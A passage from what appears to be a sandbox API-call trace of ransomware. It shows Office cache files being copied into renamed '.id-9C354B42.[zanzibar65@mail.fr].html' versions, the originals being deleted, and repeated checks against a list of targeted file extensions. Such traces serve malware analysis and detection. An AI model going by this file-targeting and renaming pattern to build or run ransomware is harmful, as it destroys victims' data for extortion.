Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.056] GetLastError () returned 0x0 [0034.056] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0034.057] WriteFile (in: hFile=0x178, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x900, lpOverlapped=0x0) returned 1 [0034.058] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.058] WriteFile (in: hFile=0x178, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.058] SetEndOfFile (hFile=0x178) returned 1 [0034.059] CloseHandle (hObject=0x178) returned 1 [0034.059] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.059] SetEndOfFile (hFile=0x174) returned 1 [0034.060] CloseHandle (hObject=0x174) returned 1 [0034.060] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.060] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.061] lstrlenW (lpString=".doc") returned 4 [0034.061] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.061] lstrlenW (lpString=".docx") returned 5 [0034.061] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.061] lstrlenW (lpString=".pdf") returned 4 [0034.061] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.061] lstrlenW (lpString=".xls") returned 4 [0034.061] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.061] lstrlenW (lpString=".xlsx") returned 5 [0034.061] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.061] lstrlenW (lpString=".ppt") returned 4 [0034.061] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.061] lstrlenW (lpString=".zip") returned 4 [0034.061] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.061] lstrlenW (lpString=".rar") returned 4 [0034.061] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.061] lstrlenW (lpString=".bz2") returned 4 [0034.061] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.061] lstrlenW (lpString=".7z") returned 3 [0034.061] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.061] lstrlenW (lpString=".dbf") returned 4 [0034.061] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.061] lstrlenW (lpString=".1cd") returned 4 [0034.061] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.062] lstrlenW (lpString=".jpg") returned 4 [0034.062] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.062] lstrlenW (lpString=".doc") returned 4 [0034.062] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.062] lstrlenW (lpString=".docx") returned 5 [0034.062] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.062] lstrlenW (lpString=".pdf") returned 4 [0034.062] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.062] lstrlenW (lpString=".xls") returned 4 [0034.062] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.062] lstrlenW (lpString=".xlsx") returned 5 [0034.062] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.062] lstrlenW (lpString=".ppt") returned 4 [0034.062] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.062] lstrlenW (lpString=".zip") returned 4 [0034.062] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.062] lstrlenW (lpString=".rar") returned 4 [0034.062] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.062] lstrlenW (lpString=".bz2") returned 4 [0034.062] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.062] lstrlenW (lpString=".7z") returned 3 [0034.062] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.062] lstrlenW (lpString=".dbf") returned 4 [0034.062] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.062] lstrlenW (lpString=".1cd") returned 4 [0034.062] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.063] lstrlenW (lpString=".jpg") returned 4 [0034.063] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.063] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.063] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0034.063] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.064] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1450) returned 1 [0034.064] CloseHandle (hObject=0x174) returned 1 [0034.064] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0034.064] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.064] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.064] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.064] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.064] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.064] GetLastError () returned 0x0 [0034.064] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0034.066] WriteFile (in: hFile=0x178, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0034.067] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.067] WriteFile (in: hFile=0x178, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0034.067] SetEndOfFile (hFile=0x178) returned 1 [0034.067] CloseHandle (hObject=0x178) returned 1 [0034.068] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.068] SetEndOfFile (hFile=0x174) returned 1 [0034.069] CloseHandle (hObject=0x174) returned 1 [0034.069] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.069] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0034.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.069] lstrlenW (lpString=".doc") returned 4 [0034.069] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.069] lstrlenW (lpString=".docx") returned 5 [0034.069] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.069] lstrlenW (lpString=".pdf") returned 4 [0034.069] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.069] lstrlenW (lpString=".xls") returned 4 [0034.069] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.069] lstrlenW (lpString=".xlsx") returned 5 [0034.069] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.069] lstrlenW (lpString=".ppt") returned 4 [0034.069] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.069] lstrlenW (lpString=".zip") returned 4 [0034.069] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.069] lstrlenW (lpString=".rar") returned 4 [0034.070] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.070] lstrlenW (lpString=".bz2") returned 4 [0034.070] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.070] lstrlenW (lpString=".7z") returned 3 [0034.070] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.070] lstrlenW (lpString=".dbf") returned 4 [0034.070] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.070] lstrlenW (lpString=".1cd") returned 4 [0034.070] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.070] lstrlenW (lpString=".jpg") returned 4 [0034.070] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.070] lstrlenW (lpString=".doc") returned 4 [0034.070] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.070] lstrlenW (lpString=".docx") returned 5 [0034.070] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.070] lstrlenW (lpString=".pdf") returned 4 [0034.070] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.070] lstrlenW (lpString=".xls") returned 4 [0034.070] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.070] lstrlenW (lpString=".xlsx") returned 5 [0034.070] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.070] lstrlenW (lpString=".ppt") returned 4 [0034.070] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.070] lstrlenW (lpString=".zip") returned 4 [0034.070] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.070] lstrlenW (lpString=".rar") returned 4 [0034.071] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.071] lstrlenW (lpString=".bz2") returned 4 [0034.071] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.071] lstrlenW (lpString=".7z") returned 3 [0034.071] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.071] lstrlenW (lpString=".dbf") returned 4 [0034.071] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.071] lstrlenW (lpString=".1cd") returned 4 [0034.071] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.071] lstrlenW (lpString=".jpg") returned 4 [0034.071] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.071] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.071] lstrlenW (lpString="Setup.xml") returned 9 [0034.071] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.071] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1886) returned 1 [0034.071] CloseHandle (hObject=0x174) returned 1 [0034.072] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.072] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.072] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.072] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.072] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.072] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.072] GetLastError () returned 0x0 [0034.072] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x75e, lpOverlapped=0x0) returned 1 [0034.346] WriteFile (in: hFile=0x178, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x760, lpOverlapped=0x0) returned 1 [0034.347] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.347] WriteFile (in: hFile=0x178, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.347] SetEndOfFile (hFile=0x178) returned 1 [0034.347] CloseHandle (hObject=0x178) returned 1 [0034.348] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.348] SetEndOfFile (hFile=0x174) returned 1 [0034.349] CloseHandle (hObject=0x174) returned 1 [0034.349] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.349] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.725] lstrlenW (lpString=".doc") returned 4 [0034.725] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.725] lstrlenW (lpString=".docx") returned 5 [0034.725] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.725] lstrlenW (lpString=".pdf") returned 4 [0034.725] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.725] lstrlenW (lpString=".xls") returned 4 [0034.725] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.725] lstrlenW (lpString=".xlsx") returned 5 [0034.725] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.725] lstrlenW (lpString=".ppt") returned 4 [0034.725] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.725] lstrlenW (lpString=".zip") returned 4 [0034.725] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.725] lstrlenW (lpString=".rar") returned 4 [0034.725] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.725] lstrlenW (lpString=".bz2") returned 4 [0034.725] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.725] lstrlenW (lpString=".7z") returned 3 [0034.725] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.726] lstrlenW (lpString=".dbf") returned 4 [0034.726] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.726] lstrlenW (lpString=".1cd") returned 4 [0034.726] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.726] lstrlenW (lpString=".jpg") returned 4 [0034.726] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.726] lstrlenW (lpString=".doc") returned 4 [0034.726] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.726] lstrlenW (lpString=".docx") returned 5 [0034.726] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.726] lstrlenW (lpString=".pdf") returned 4 [0034.726] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.726] lstrlenW (lpString=".xls") returned 4 [0034.726] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.726] lstrlenW (lpString=".xlsx") returned 5 [0034.726] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.726] lstrlenW (lpString=".ppt") returned 4 [0034.726] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.726] lstrlenW (lpString=".zip") returned 4 [0034.726] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.726] lstrlenW (lpString=".rar") returned 4 [0034.726] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.726] lstrlenW (lpString=".bz2") returned 4 [0034.726] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.726] lstrlenW (lpString=".7z") returned 3 [0034.726] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.727] lstrlenW (lpString=".dbf") returned 4 [0034.727] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.727] lstrlenW (lpString=".1cd") returned 4 [0034.727] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.727] lstrlenW (lpString=".jpg") returned 4 [0034.727] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.727] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.727] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0034.727] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.026] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=913) returned 1 [0035.026] CloseHandle (hObject=0x198) returned 1 [0035.026] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0035.026] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.026] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.026] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 